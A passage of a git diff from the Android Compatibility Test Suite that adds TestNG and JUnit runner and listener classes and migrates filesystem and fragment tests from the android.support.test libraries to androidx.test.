+ private static org.testng.TestNG createTestNG(String klass, String method,
+ SingleTestNGTestRunListener listener) {
+ org.testng.TestNG testng = new org.testng.TestNG();
+ testng.setUseDefaultListeners(false); // Don't create the testng-specific HTML/XML reports.
+ // It still prints the X/Y tests succeeded/failed summary to stdout.
+
+ // We don't strictly need this listener for CTS, but having it print SUCCESS/FAIL
+ // makes it easier to diagnose which particular combination of a test method had failed
+ // from looking at device logcat.
+ testng.addListener(listener);
+
+ /* Construct the following equivalent XML configuration:
+ *
+ * <!DOCTYPE suite SYSTEM "http://testng.org/testng-1.0.dtd" >
+ * <suite>
+ * <test>
+ * <classes>
+ * <class name="$klass">
+ * <include name="$method" />
+ * </class>
+ * </classes>
+ * </test>
+ * </suite>
+ *
+ * This will ensure that only a single klass/method is being run by testng.
+ * (It can still be run multiple times due to @DataProvider, with different parameters
+ * each time)
+ */
+ List<XmlSuite> suites = new ArrayList<>();
+ XmlSuite the_suite = new XmlSuite();
+ XmlTest the_test = new XmlTest(the_suite);
+ XmlClass the_class = new XmlClass(klass);
+ XmlInclude the_include = new XmlInclude(method);
+
+ the_class.getIncludedMethods().add(the_include);
+ the_test.getXmlClasses().add(the_class);
+ suites.add(the_suite);
+ testng.setXmlSuites(suites);
+
+ return testng;
+ }
+
+ public static class Result {
+ private final boolean hasFailure;
+ private final Map<String,Throwable> failures;
+
+
+ Result(boolean hasFailure, Map<String, Throwable> failures) {
+ this.hasFailure = hasFailure;
+ this.failures = Collections.unmodifiableMap(new LinkedHashMap<>(failures));
+ }
+
+ public boolean hasFailure() {
+ return hasFailure;
+ }
+
+ public Map<String, Throwable> getFailures() {
+ return failures;
+ }
+ }
+}
diff --git a/tests/core/runner-axt/src/com/android/cts/core/runner/support/TestNgRunner.java b/tests/core/runner-axt/src/com/android/cts/core/runner/support/TestNgRunner.java
new file mode 100644
index 0000000..d9bf037
--- /dev/null
+++ b/tests/core/runner-axt/src/com/android/cts/core/runner/support/TestNgRunner.java
@@ -0,0 +1,235 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.core.runner.support;
+
+import android.util.Log;
+
+import org.junit.runner.Description;
+import org.junit.runner.Runner;
+import org.junit.runner.manipulation.Filter;
+import org.junit.runner.manipulation.Filterable;
+import org.junit.runner.manipulation.NoTestsRemainException;
+import org.junit.runner.notification.Failure;
+import org.junit.runner.notification.RunNotifier;
+
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.util.HashSet;
+import java.util.Map;
+
+/**
+ * A {@link Runner} that can TestNG tests.
+ *
+ * <p>Implementation note: Avoid extending ParentRunner since that also has
+ * logic to handle BeforeClass/AfterClass and other junit-specific functionality
+ * that would be invalid for TestNG.</p>
+ */
+class TestNgRunner extends Runner implements Filterable {
+
+ private static final boolean DEBUG = false;
+
+ private Description mDescription;
+ /** Class name for debugging. */
+ private String mClassName;
+ /** Don't include the same method names twice. */
+ private HashSet<String> mMethodSet = new HashSet<>();
+
+ /**
+ * @param testClass the test class to run
+ */
+ TestNgRunner(Class<?> testClass) {
+ mDescription = generateTestNgDescription(testClass);
+ mClassName = testClass.getName();
+ }
+
+ // Runner implementation
+ @Override
+ public Description getDescription() {
+ return mDescription;
+ }
+
+ // Runner implementation
+ @Override
+ public int testCount() {
+ if (!descriptionHasChildren(getDescription())) { // Avoid NPE when description is null.
+ return 0;
+ }
+
+ // We always follow a flat Parent->Leaf hierarchy, so no recursion necessary.
+ return getDescription().testCount();
+ }
+
+ // Filterable implementation
+ @Override
+ public void filter(Filter filter) throws NoTestsRemainException {
+ mDescription = filterDescription(mDescription, filter);
+
+ if (!descriptionHasChildren(getDescription())) { // Avoid NPE when description is null.
+ if (DEBUG) {
+ Log.d("TestNgRunner",
+ "Filtering has removed all tests :( for class " + mClassName);
+ }
+ throw new NoTestsRemainException();
+ }
+
+ if (DEBUG) {
+ Log.d("TestNgRunner",
+ "Filtering has retained " + testCount() + " tests for class " + mClassName);
+ }
+ }
+
+ // Filterable implementation
+ @Override
+ public void run(RunNotifier notifier) {
+ if (!descriptionHasChildren(getDescription())) { // Avoid NPE when description is null.
+ // Nothing to do.
+ return;
+ }
+
+ for (Description child : getDescription().getChildren()) {
+ String className = child.getClassName();
+ String methodName = child.getMethodName();
+
+ Class<?> klass;
+ try {
+ klass = Class.forName(className, false, Thread.currentThread().getContextClassLoader());
+ } catch (ClassNotFoundException e) {
+ throw new AssertionError(e);
+ }
+
+ notifier.fireTestStarted(child);
+
+ // Avoid looking at all the methods by just using the string method name.
+ SingleTestNgTestExecutor.Result result = SingleTestNgTestExecutor.execute(klass, methodName);
+ if (result.hasFailure()) {
+ // TODO: get the error messages from testng somehow.
+ notifier.fireTestFailure(new Failure(child, extractException(result.getFailures())));
+ }
+
+ notifier.fireTestFinished(child);
+ // TODO: Check @Test(enabled=false) and invoke #fireTestIgnored instead.
+ }
+ }
+
+ private Throwable extractException(Map<String, Throwable> failures) {
+ if (failures.isEmpty()) {
+ return new AssertionError();
+ }
+ if (failures.size() == 1) {
+ return failures.values().iterator().next();
+ }
+
+ StringBuilder errorMessage = new StringBuilder("========== Multiple Failures ==========");
+ for (Map.Entry<String, Throwable> failureEntry : failures.entrySet()) {
+ errorMessage.append("\n\n=== "). append(failureEntry.getKey()).append(" ===\n");
+ Throwable throwable = failureEntry.getValue();
+ errorMessage
+ .append(throwable.getClass()).append(": ")
+ .append(throwable.getMessage());
+ for (StackTraceElement e : throwable.getStackTrace()) {
+ if (e.getClassName().equals(getClass().getName())) {
+ break;
+ }
+ errorMessage.append("\n at ").append(e);
+ }
+ }
+ errorMessage.append("\n=======================================\n\n");
+ return new AssertionError(errorMessage.toString());
+ }
+
+
+ /**
+ * Recursively (preorder traversal) apply the filter to all the descriptions.
+ *
+ * @return null if the filter rejects the whole tree.
+ */
+ private static Description filterDescription(Description desc, Filter filter) {
+ if (!filter.shouldRun(desc)) { // XX: Does the filter itself do the recursion?
+ return null;
+ }
+
+ Description newDesc = desc.childlessCopy();
+
+ // Return leafs.
+ if (!descriptionHasChildren(desc)) {
+ return newDesc;
+ }
+
+ // Filter all subtrees, only copying them if the filter accepts them.
+ for (Description child : desc.getChildren()) {
+ Description filteredChild = filterDescription(child, filter);
+
+ if (filteredChild != null) {
+ newDesc.addChild(filteredChild);
+ }
+ }
+
+ return newDesc;
+ }
+
+ private Description generateTestNgDescription(Class<?> cls) {
+ // Add the overall class description as the parent.
+ Description parent = Description.createSuiteDescription(cls);
+
+ if (DEBUG) {
+ Log.d("TestNgRunner", "Generating TestNg Description for class " + cls.getName());
+ }
+
+ // Add each test method as a child.
+ for (Method m : cls.getDeclaredMethods()) {
+
+ // Filter to only 'public void' signatures.
+ if ((m.getModifiers() & Modifier.PUBLIC) == 0) {
+ continue;
+ }
+
+ if (!m.getReturnType().equals(Void.TYPE)) {
+ continue;
+ }
+
+ // Note that TestNG methods may actually have parameters
+ // (e.g. with @DataProvider) which TestNG will populate itself.
+
+ // Add [Class, MethodName] as a Description leaf node.
+ String name = m.getName();
+
+ if (!mMethodSet.add(name)) {
+ // Overloaded methods have the same name, don't add them twice.
+ if (DEBUG) {
+ Log.d("TestNgRunner", "Already added child " + cls.getName() + "#" + name);
+ }
+ continue;
+ }
+
+ Description child = Description.createTestDescription(cls, name);
+
+ parent.addChild(child);
+
+ if (DEBUG) {
+ Log.d("TestNgRunner", "Add child " + cls.getName() + "#" + name);
+ }
+ }
+
+ return parent;
+ }
+
+ private static boolean descriptionHasChildren(Description desc) {
+ // Note: Although "desc.isTest()" is equivalent to "!desc.getChildren().isEmpty()"
+ // we add the pre-requisite 2 extra null checks to avoid throwing NPEs.
+ return desc != null && desc.getChildren() != null && !desc.getChildren().isEmpty();
+ }
+}
diff --git a/tests/core/runner-axt/src/com/android/cts/core/runner/support/TestNgRunnerBuilder.java b/tests/core/runner-axt/src/com/android/cts/core/runner/support/TestNgRunnerBuilder.java
new file mode 100644
index 0000000..2f084b3
--- /dev/null
+++ b/tests/core/runner-axt/src/com/android/cts/core/runner/support/TestNgRunnerBuilder.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.core.runner.support;
+
+import java.lang.reflect.Method;
+
+import org.junit.runner.Runner;
+import org.junit.runners.model.RunnerBuilder;
+
+import org.testng.annotations.Test;
+
+/**
+ * A {@link RunnerBuilder} that can handle TestNG tests.
+ */
+public class TestNgRunnerBuilder extends RunnerBuilder {
+ // Returns a TestNG runner for this class, only if it is a class
+ // annotated with testng's @Test or has any methods with @Test in it.
+ @Override
+ public Runner runnerForClass(Class<?> testClass) {
+ if (isTestNgTestClass(testClass)) {
+ return new TestNgRunner(testClass);
+ }
+
+ return null;
+ }
+
+ private static boolean isTestNgTestClass(Class<?> cls) {
+ // TestNG test is either marked @Test at the class
+ if (cls.getAnnotation(Test.class) != null) {
+ return true;
+ }
+
+ // Or It's marked @Test at the method level
+ for (Method m : cls.getDeclaredMethods()) {
+ if (m.getAnnotation(Test.class) != null) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+}
diff --git a/tests/core/runner-axt/src/com/android/cts/runner/CrashParserRunListener.java b/tests/core/runner-axt/src/com/android/cts/runner/CrashParserRunListener.java
new file mode 100644
index 0000000..d838fb4
--- /dev/null
+++ b/tests/core/runner-axt/src/com/android/cts/runner/CrashParserRunListener.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.runner;
+
+import androidx.test.internal.runner.listener.InstrumentationRunListener;
+import android.util.Log;
+import org.junit.runner.Description;
+
+/**
+ * A {@link RunListener} for CrashParser. Dumps the test name to logs when
+ * tests start.
+ */
+public class CrashParserRunListener extends InstrumentationRunListener {
+
+ private static final String TAG = "CrashParserRunListener";
+
+ // Constant must be kept in sync with CrashUtils.java
+ public static final String NEW_TEST_ALERT = "New test starting with name: ";
+
+ @Override
+ public void testStarted(Description description) throws Exception {
+ Log.i(TAG, NEW_TEST_ALERT + description.toString());
+ }
+
+}
diff --git a/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java b/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java
new file mode 100644
index 0000000..abda5a7
--- /dev/null
+++ b/tests/core/runner-axt/src/com/android/cts/runner/CtsTestRunListener.java
@@ -0,0 +1,262 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.runner;
+
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.app.KeyguardManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import androidx.test.internal.runner.listener.InstrumentationRunListener;
+import android.text.TextUtils;
+import android.util.Log;
+
+import junit.framework.TestCase;
+
+import org.junit.runner.Description;
+import org.junit.runner.notification.RunListener;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.lang.Class;
+import java.lang.ReflectiveOperationException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Modifier;
+import java.net.Authenticator;
+import java.net.CookieHandler;
+import java.net.ResponseCache;
+import java.text.DateFormat;
+import java.util.Locale;
+import java.util.Properties;
+import java.util.TimeZone;
+
+import javax.net.ssl.HostnameVerifier;
+import javax.net.ssl.HttpsURLConnection;
+import javax.net.ssl.SSLSocketFactory;
+
+/**
+ * A {@link RunListener} for CTS. Sets the system properties necessary for many
+ * core tests to run. This is needed because there are some core tests that need
+ * writing access to the file system.
+ * Finally, we add a means to free memory allocated by a TestCase after its
+ * execution.
+ */
+public class CtsTestRunListener extends InstrumentationRunListener {
+
+ private static final String TAG = "CtsTestRunListener";
+
+ private TestEnvironment mEnvironment;
+ private Class<?> lastClass;
+
+ @Override
+ public void testRunStarted(Description description) throws Exception {
+ mEnvironment = new TestEnvironment(getInstrumentation().getTargetContext());
+
+ // We might want to move this to /sdcard, if is is mounted/writable.
+ File cacheDir = getInstrumentation().getTargetContext().getCacheDir();
+ System.setProperty("java.io.tmpdir", cacheDir.getAbsolutePath());
+
+ // attempt to disable keyguard, if current test has permission to do so
+ // TODO: move this to a better place, such as InstrumentationTestRunner
+ // ?
+ if (getInstrumentation().getContext().checkCallingOrSelfPermission(
+ android.Manifest.permission.DISABLE_KEYGUARD)
+ == PackageManager.PERMISSION_GRANTED) {
+ Log.i(TAG, "Disabling keyguard");
+ KeyguardManager keyguardManager =
+ (KeyguardManager) getInstrumentation().getContext().getSystemService(
+ Context.KEYGUARD_SERVICE);
+ keyguardManager.newKeyguardLock("cts").disableKeyguard();
+ } else {
+ Log.i(TAG, "Test lacks permission to disable keyguard. " +
+ "UI based tests may fail if keyguard is up");
+ }
+ }
+
+ @Override
+ public void testStarted(Description description) throws Exception {
+ if (description.getTestClass() != lastClass) {
+ lastClass = description.getTestClass();
+ printMemory(description.getTestClass());
+ }
+
+ mEnvironment.reset();
+ }
+
+ @Override
+ public void testFinished(Description description) {
+ // no way to implement this in JUnit4...
+ // offending test cases that need this logic should probably be cleaned
+ // up individually
+ // if (test instanceof TestCase) {
+ // cleanup((TestCase) test);
+ // }
+ }
+
+ /**
+ * Dumps some memory info.
+ */
+ private void printMemory(Class<?> testClass) {
+ Runtime runtime = Runtime.getRuntime();
+
+ long total = runtime.totalMemory();
+ long free = runtime.freeMemory();
+ long used = total - free;
+
+ Log.d(TAG, "Total memory : " + total);
+ Log.d(TAG, "Used memory : " + used);
+ Log.d(TAG, "Free memory : " + free);
+
+ String tempdir = System.getProperty("java.io.tmpdir", "");
+ // TODO: Remove these extra Logs added to debug a specific timeout problem.
+ Log.d(TAG, "java.io.tmpdir is:" + tempdir);
+
+ if (!TextUtils.isEmpty(tempdir)) {
+ String[] commands = {"df", tempdir};
+ BufferedReader in = null;
+ try {
+ Log.d(TAG, "About to .exec df");
+ Process proc = runtime.exec(commands);
+ Log.d(TAG, ".exec returned");
+ in = new BufferedReader(new InputStreamReader(proc.getInputStream()));
+ Log.d(TAG, "Stream reader created");
+ String line;
+ while ((line = in.readLine()) != null) {
+ Log.d(TAG, line);
+ }
+ } catch (IOException e) {
+ Log.d(TAG, "Exception: " + e.toString());
+ // Well, we tried
+ } finally {
+ Log.d(TAG, "In finally");
+ if (in != null) {
+ try {
+ in.close();
+ } catch (IOException e) {
+ // Meh
+ }
+ }
+ }
+ }
+
+ Log.d(TAG, "Now executing : " + testClass.getName());
+ }
+
+ /**
+ * Nulls all non-static reference fields in the given test class. This
+ * method helps us with those test classes that don't have an explicit
+ * tearDown() method. Normally the garbage collector should take care of
+ * everything, but since JUnit keeps references to all test cases, a little
+ * help might be a good idea.
+ */
+ private void cleanup(TestCase test) {
+ Class<?> clazz = test.getClass();
+
+ while (clazz != TestCase.class) {
+ Field[] fields = clazz.getDeclaredFields();
+ for (int i = 0; i < fields.length; i++) {
+ Field f = fields[i];
+ if (!f.getType().isPrimitive() &&
+ !Modifier.isStatic(f.getModifiers())) {
+ try {
+ f.setAccessible(true);
+ f.set(test, null);
+ } catch (Exception ignored) {
+ // Nothing we can do about it.
+ }
+ }
+ }
+
+ clazz = clazz.getSuperclass();
+ }
+ }
+
+ // http://code.google.com/p/vogar/source/browse/trunk/src/vogar/target/TestEnvironment.java
+ static class TestEnvironment {
+ private static final Field sDateFormatIs24HourField;
+ static {
+ try {
+ Class<?> dateFormatClass = Class.forName("java.text.DateFormat");
+ sDateFormatIs24HourField = dateFormatClass.getDeclaredField("is24Hour");
+ } catch (ReflectiveOperationException e) {
+ throw new AssertionError("Missing DateFormat.is24Hour", e);
+ }
+ }
+
+ private final Locale mDefaultLocale;
+ private final TimeZone mDefaultTimeZone;
+ private final HostnameVerifier mHostnameVerifier;
+ private final SSLSocketFactory mSslSocketFactory;
+ private final Properties mProperties = new Properties();
+ private final Boolean mDefaultIs24Hour;
+
+ TestEnvironment(Context context) {
+ mDefaultLocale = Locale.getDefault();
+ mDefaultTimeZone = TimeZone.getDefault();
+ mHostnameVerifier = HttpsURLConnection.getDefaultHostnameVerifier();
+ mSslSocketFactory = HttpsURLConnection.getDefaultSSLSocketFactory();
+
+ mProperties.setProperty("user.home", "");
+ mProperties.setProperty("java.io.tmpdir", context.getCacheDir().getAbsolutePath());
+ // The CDD mandates that devices that support WiFi are the only ones that will have
+ // multicast.
+ PackageManager pm = context.getPackageManager();
+ mProperties.setProperty("android.cts.device.multicast",
+ Boolean.toString(pm.hasSystemFeature(PackageManager.FEATURE_WIFI)));
+ mDefaultIs24Hour = getDateFormatIs24Hour();
+
+ // There are tests in libcore that should be disabled for low ram devices. They can't
+ // access ActivityManager to call isLowRamDevice, but can read system properties.
+ ActivityManager activityManager =
+ (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
+ mProperties.setProperty("android.cts.device.lowram",
+ Boolean.toString(activityManager.isLowRamDevice()));
+ }
+
+ void reset() {
+ System.setProperties(null);
+ System.setProperties(mProperties);
+ Locale.setDefault(mDefaultLocale);
+ TimeZone.setDefault(mDefaultTimeZone);
+ Authenticator.setDefault(null);
+ CookieHandler.setDefault(null);
+ ResponseCache.setDefault(null);
+ HttpsURLConnection.setDefaultHostnameVerifier(mHostnameVerifier);
+ HttpsURLConnection.setDefaultSSLSocketFactory(mSslSocketFactory);
+ setDateFormatIs24Hour(mDefaultIs24Hour);
+ }
+
+ private static Boolean getDateFormatIs24Hour() {
+ try {
+ return (Boolean) sDateFormatIs24HourField.get(null);
+ } catch (ReflectiveOperationException e) {
+ throw new AssertionError("Unable to get java.text.DateFormat.is24Hour", e);
+ }
+ }
+
+ private static void setDateFormatIs24Hour(Boolean value) {
+ try {
+ sDateFormatIs24HourField.set(null, value);
+ } catch (ReflectiveOperationException e) {
+ throw new AssertionError("Unable to set java.text.DateFormat.is24Hour", e);
+ }
+ }
+ }
+
+}
diff --git a/tests/core/runner/src/com/android/cts/runner/CrashParserRunListener.java b/tests/core/runner/src/com/android/cts/runner/CrashParserRunListener.java
new file mode 100644
index 0000000..fbbb684
--- /dev/null
+++ b/tests/core/runner/src/com/android/cts/runner/CrashParserRunListener.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.runner;
+
+import android.support.test.internal.runner.listener.InstrumentationRunListener;
+import android.util.Log;
+import org.junit.runner.Description;
+
+/**
+ * A {@link RunListener} for CrashParser. Dumps the test name to logs when
+ * tests start.
+ */
+public class CrashParserRunListener extends InstrumentationRunListener {
+
+ private static final String TAG = "CrashParserRunListener";
+
+ // Constant must be kept in sync with CrashUtils.java
+ public static final String NEW_TEST_ALERT = "New test starting with name: ";
+
+ @Override
+ public void testStarted(Description description) throws Exception {
+ Log.i(TAG, NEW_TEST_ALERT + description.toString());
+ }
+
+}
diff --git a/tests/filesystem/Android.mk b/tests/filesystem/Android.mk
index b6f1f7d..de5a831 100644
--- a/tests/filesystem/Android.mk
+++ b/tests/filesystem/Android.mk
@@ -18,7 +18,7 @@
# don't include this package in any target
LOCAL_MODULE_TAGS := optional
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/filesystem/AndroidManifest.xml b/tests/filesystem/AndroidManifest.xml
index f76ea53..d203a1a 100644
--- a/tests/filesystem/AndroidManifest.xml
+++ b/tests/filesystem/AndroidManifest.xml
@@ -24,7 +24,7 @@
<application>
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.filesystem.cts"
android:label="CTS tests for file system" />
</manifest>
diff --git a/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java b/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java
index d75ebbf..1e2fc7c 100644
--- a/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java
@@ -16,14 +16,16 @@
package android.filesystem.cts;
-import static android.support.test.InstrumentationRegistry.getContext;
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.SystemUtil;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/filesystem/src/android/filesystem/cts/FileUtil.java b/tests/filesystem/src/android/filesystem/cts/FileUtil.java
index 386679a..5afaac0 100755
--- a/tests/filesystem/src/android/filesystem/cts/FileUtil.java
+++ b/tests/filesystem/src/android/filesystem/cts/FileUtil.java
@@ -143,16 +143,15 @@
public static File createNewFilledFile(Context context, String dirName, long length)
throws IOException {
File file = createNewFile(context, dirName);
- FileOutputStream out = new FileOutputStream(file);
+ final RandomAccessFile randomFile = new RandomAccessFile(file, "rwd"); // force O_SYNC
byte[] data = generateRandomData(BUFFER_SIZE);
- long written = 0;
- while (written < length) {
- int toWrite = (int) Math.min(BUFFER_SIZE, length - written);
- out.write(data, 0, toWrite);
- written += toWrite;
+
+ while (file.length() < length) {
+ int toWrite = (int) Math.min(BUFFER_SIZE, length - file.length());
+ randomFile.write(data, 0, toWrite);
}
- out.flush();
- out.close();
+
+ randomFile.close();
return file;
}
diff --git a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
index a58b397..1c46339 100644
--- a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
@@ -16,14 +16,16 @@
package android.filesystem.cts;
-import static android.support.test.InstrumentationRegistry.getContext;
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
import android.os.Environment;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DeviceReportLog;
+
import org.junit.After;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
index 4e7b3f0..6735eba 100644
--- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
@@ -16,11 +16,12 @@
package android.filesystem.cts;
-import static android.support.test.InstrumentationRegistry.getContext;
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.DeviceReportLog;
import com.android.compatibility.common.util.MeasureRun;
import com.android.compatibility.common.util.MeasureTime;
@@ -28,7 +29,6 @@
import com.android.compatibility.common.util.ResultUnit;
import com.android.compatibility.common.util.Stat;
-import com.android.compatibility.common.util.CddTest;
import org.junit.After;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/fragment/Android.mk b/tests/fragment/Android.mk
index 94a4d91..3e545d4 100644
--- a/tests/fragment/Android.mk
+++ b/tests/fragment/Android.mk
@@ -29,13 +29,13 @@
LOCAL_PROGUARD_ENABLED := disabled
LOCAL_STATIC_JAVA_LIBRARIES += \
- android-support-test \
+ androidx.test.rules \
mockito-target-minus-junit4 \
android-common \
- compatibility-device-util \
- ctstestrunner
+ compatibility-device-util-axt \
+ ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-#LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+#LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/fragment/AndroidManifest.xml b/tests/fragment/AndroidManifest.xml
index 6b43606b..447f9a8 100644
--- a/tests/fragment/AndroidManifest.xml
+++ b/tests/fragment/AndroidManifest.xml
@@ -33,7 +33,7 @@
<activity android:name=".ConfigOnStopActivity"/>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.fragment.cts"
android:label="CTS tests of android.app Fragments" />
diff --git a/tests/fragment/sdk26/Android.mk b/tests/fragment/sdk26/Android.mk
index 5947137..a2d2570 100644
--- a/tests/fragment/sdk26/Android.mk
+++ b/tests/fragment/sdk26/Android.mk
@@ -28,7 +28,7 @@
LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_STATIC_JAVA_LIBRARIES += android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES += androidx.test.rules
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/fragment/sdk26/AndroidManifest.xml b/tests/fragment/sdk26/AndroidManifest.xml
index ade9fff..1885bb6 100644
--- a/tests/fragment/sdk26/AndroidManifest.xml
+++ b/tests/fragment/sdk26/AndroidManifest.xml
@@ -22,7 +22,7 @@
<activity android:name=".NonConfigOnStopActivity"/>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.fragment.cts.sdk26"
android:label="CTS tests of android.app Fragments" />
</manifest>
diff --git a/tests/fragment/sdk26/src/android/fragment/cts/sdk26/FragmentManagerNonConfigTest.java b/tests/fragment/sdk26/src/android/fragment/cts/sdk26/FragmentManagerNonConfigTest.java
index a7859b6..32aae95 100644
--- a/tests/fragment/sdk26/src/android/fragment/cts/sdk26/FragmentManagerNonConfigTest.java
+++ b/tests/fragment/sdk26/src/android/fragment/cts/sdk26/FragmentManagerNonConfigTest.java
@@ -18,11 +18,9 @@
import static org.junit.Assert.assertTrue;
-import android.os.Debug;
-import android.support.test.filters.MediumTest;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java b/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java
index f99bb0b..0a62b3b 100644
--- a/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java
+++ b/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java
@@ -29,13 +29,14 @@
import android.app.FragmentManager;
import android.app.FragmentManagerNonConfig;
import android.os.Parcelable;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Pair;
import android.view.View;
import android.view.animation.TranslateAnimation;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/fragment/src/android/fragment/cts/FragmentExecuteTests.java b/tests/fragment/src/android/fragment/cts/FragmentExecuteTests.java
index 6e6cda9..739f359 100644
